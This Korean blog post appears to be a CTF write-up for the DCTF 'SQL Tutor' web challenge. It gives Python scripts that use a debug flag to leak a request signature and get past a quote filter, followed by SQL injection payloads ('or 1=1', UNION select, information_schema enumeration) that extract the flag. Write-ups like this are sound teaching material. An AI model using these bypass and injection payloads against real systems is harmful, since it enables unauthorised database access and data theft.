CTF/웹해킹

[DCTF] SQL Tutor - 웹해킹 / SQL Injection

SecurityMan 2022. 4. 19. 21:00

 

웹해킹의 꽃이라고 불리는 SQL Injection 문제이다.

 

SQL은 Structured Qurey Language의 약자로 데이터베이스에서 데이터를 조회, 삭제, 삽입 하기 위해 쓰는 언어이다.

 

SQL Injection은 부정한 입력을 통해 서버에서 DB로 날리는 SQL을 조작해 데이터베이스를 공격하는 기법이다.

 

보통 서버와 DB가 상호작용을 하는 로그인창, 게시판, 검색창 등등에서 발생한다.

 

SQL Injection이 가능하게 되면 DB에 저장되어 있는 중요한 정보들이 노출될 수 있어

 

상당히 위험한 취약점이다.

 

반응형

 

웹해킹 문제풀이는 캡쳐가 생명인데

 

아쉽게도 대회가 끝나고서야 문제를 풀어서 캡쳐가 아주 미흡하다..

 

 

문제페이지에 접속하면 이런 화면이 나온다.

 

SQL의 기초를 학습할 수 있게끔 만들어 놓은듯 하다.

 

 

미리 SQL문이 작성되어서 적혀있다.

 

학습자가 SQL문을 하나씩 선택해서 실행시켜볼 수 있도록 한거 같다.

 

 

테스트로 A를 입력해보았다.

 

사용자가 입력한 값이 옆에있는 SQL 쿼리의 ... 부분에 들어가서

 

아래쪽처럼 SQL문이 완성되어 DB로 날아가고, 그 실행결과를 출력해주고 있다.

 

많은 경우 SQL Injection 은 ' (작은따옴표) 를 넣으면서 시작된다.

 

위의 경우를 예로 들면

 

A를 입력하면 SELECT * FROM users WHERE users.name='A'  이렇게 쿼리가 만들어지지만

 

' 를 입력하면 SELECT * FROM users WHERE users.name=''' 이렇게 된다.

 

이 경우가 문제가 되는 이유는 작은 따옴표가 하나 열렸으면 닫혀야 하는데,

 

내가 입력한 ' 때문에 하나가 닫히지 않았기 때문이다.

 

이 부분에서 SQL 쿼리를 조작할 수 있게 된다.

 

 

하지만 이번 문제같은 경우 필터링이 걸려있다.

 

작은따옴표를 입력하면 위처럼 경고메시지가 뜬다.

 

 

어떻게 풀어야 하나 고민하다가 f12를 눌러 개발자도구의 네트워크 탭을 봤다.

 

A를 입력했을때 요청 패킷의 내용인데, 

 

내가 입력한 A가 base64로 인코딩되어서(QQ==) /verify_and_sign_text 경로로 전달되고 있는것이 보인다.

 

밑에는 뭔지 모르겠지만 알고리즘을 sha1 으로 지정해주고 있다.

 

 

A를 입력했을때 응답 패킷을 보면 내가 입력한 A의 base64 인코딩된 값과 더불어서

 

signature 와 debug 라는 값이 추가되어 응답이 오고있는게 보인다.

 

 

그리고나서 자동으로 /execute 경로로 패킷이 날라가는데

 

아까 봤던 인코딩된 값이랑 signature를 같이 보내고 있다.

 

 

응답 패킷을 보면 데이터베이스로 날아간 쿼리와, 결과도 같이 보여주고 있다.

 

마지막에 debug : null 도 또 같이 보인다.

 

debug 라는 부분이 아주 수상해보였다.

 

그래서 테스트로 한번 패킷을 날려보기로 했다.

 

import requests
import base64

url = 'https://sqltutor.dragonsec.si/verify_and_sign_text'

payload = "A".encode('utf-8')
base64en = base64.b64encode(payload).decode('utf-8')

data = {'text': base64en,
        'alg':"sha1",
        'debug':'True'}

r = requests.post(url, data=data)

print(r.text)

 

 

python requests 를 이용해서 코드를 작성했다.

 

/verify_and_sign_text 경로로 패킷을 보낼때, 

 

data 부분에 'debug':'True' 라는 부분을 추가해줬다.

 

 

응답 패킷을 보면 이렇게 나온다.

 

 

참고로 이건 debug 값을 넣지 않았을 때 응답 패킷이다.

 

둘을 비교해보면 확실히 내용이 다르다.

 

debug:True를 넣어주면 sha1 알고리즘을 사용했는지,

 

base64로 인코딩했는지 이런것들을 체크하는(디버깅하는) 모습이 보여진다.

 

import requests
import base64

url = 'https://sqltutor.dragonsec.si/execute'

payload = "A".encode('utf-8')
base64en = base64.b64encode(payload).decode('utf-8')

data = {'text': base64en,
        'signature':"hello",
        'queryNo':0,
        'debug':'True'}

r = requests.post(url, data=data)

print(r.text)

 

똑같이 /execute 경로에도 debug:True 를 넣어서 패킷을 보내보았다.

 

 

이번에는 compare 하는 부분에서 체크가 안됐다.

 

왜나하면 아까 /verify_and_sign_text 에 먼저 패킷을 보낸 뒤에, signature 값을 받아와서

 

/execute 경로에 보내기 때문이다.

 

위 경우도 signature 값이 27cde031e250291c546aa247dfac7673cfdfc684 여야 하는데

 

내가 임의로 입력한 hello 와 값이 다르기 때문에 체크가 안된 것이다.

 

그럼 signature 값을 미리 받아서 바꿔주면 필터링된 쿼리도 실행가능하지 않을까? 라고 생각했다.

 

import requests
import base64

url = 'https://sqltutor.dragonsec.si/execute'

payload = "'".encode('utf-8')
base64en = base64.b64encode(payload).decode('utf-8')

data = {'text': base64en,
         'signature':"hello",
         'queryNo':0,
         'debug':'True'}

r = requests.post(url, data=data)

signature = r.text.split('"compare":"')[1][0:40]

data2 = {'text': base64en,
         'signature': signature,
         'queryNo':0,
         'debug':'True'}

r2 = requests.post(url, data=data2)

print(r2.text)

 

이번엔 이렇게 코드를 짰다.

 

payload로 아까 필터링되었던 작은따옴표를 보내준다.

 

그리고 일단 /execute 경로에 debug:True로 패킷을 보내서 

 

compare 에 적혀있는 signature 값을 훔쳐오고,

 

훔쳐온 signature 값을 포함해서 다시한번 /execute로 패킷을 보내준다.

 

 

실행하면 이렇게 나온다. 

 

signature 값이 일치하기때문에 signature match 라는 문구가 뜨고,

 

아래쪽에 보면 쿼리도 제대로 실행된걸 볼 수 있다.

 

이제부터 신나게 SQL Injection을 하면 된다.

 

payload = "' or 1=1-- -".encode('utf-8')

 

payload 부분만 이렇게 바꿔서 패킷을 보내보았다.

 

 

SQL Injection 이 성공해서 db의 모든 결과값이 다 출력된것을 볼 수 있다.

 

이제 중요한건 flag를 찾는것이다.

 

우선 column의 갯수를 확인해 봤다.

 

대충 눈에 보이는게 id, name, surname, age 이렇게 4개인듯 보였다.

 

payload = "' union select 1,2,3,4-- -".encode('utf-8')

 

그다음 UNION을 사용해 SQL 인젝션을 시도해봤다.

 

아까 컬럼 갯수가 4개로 추측했으니 1,2,3,4 이렇게 4개만 넣어줬다.

 

 

결과를 보면 이렇게 UNION이 잘 수행되어서 1,2,3,4가 찍혀나오는걸 볼 수 있다.

 

다음은 테이블 이름을 알아내보자.

 

payload = "' union select 1,2,3,table_name from information_schema.tables-- -".encode('utf-8')

 

이렇게 입력하면 테이블 이름을 뽑아낼 수 있다.

 

 

엄청 많이 나오는데 잘 찾아야 한다.

 

초반에 보면 flags 라는 테이블이 존재함을 알 수 있다.

 

그다음은 flags 테이블의 컬럼을 뽑아내본다.

 

payload = "' union select 1,2,3,column_name from information_schema.columns where table_name='flags'-- -".encode('utf-8')

 

이렇게하면 flags 테이블에 존재하는 컬럼들을 뽑을 수 있다.

 

 

결과가 이렇게 나오는데, flag 라는 이름의 컬럼이 있음을 알 수 있다.

 

payload = "' union select 1,2,3,flag from flags-- -".encode('utf-8')

 

마지막으로 이렇게 하면 플래그를 추출할 수 있다.

 

반응형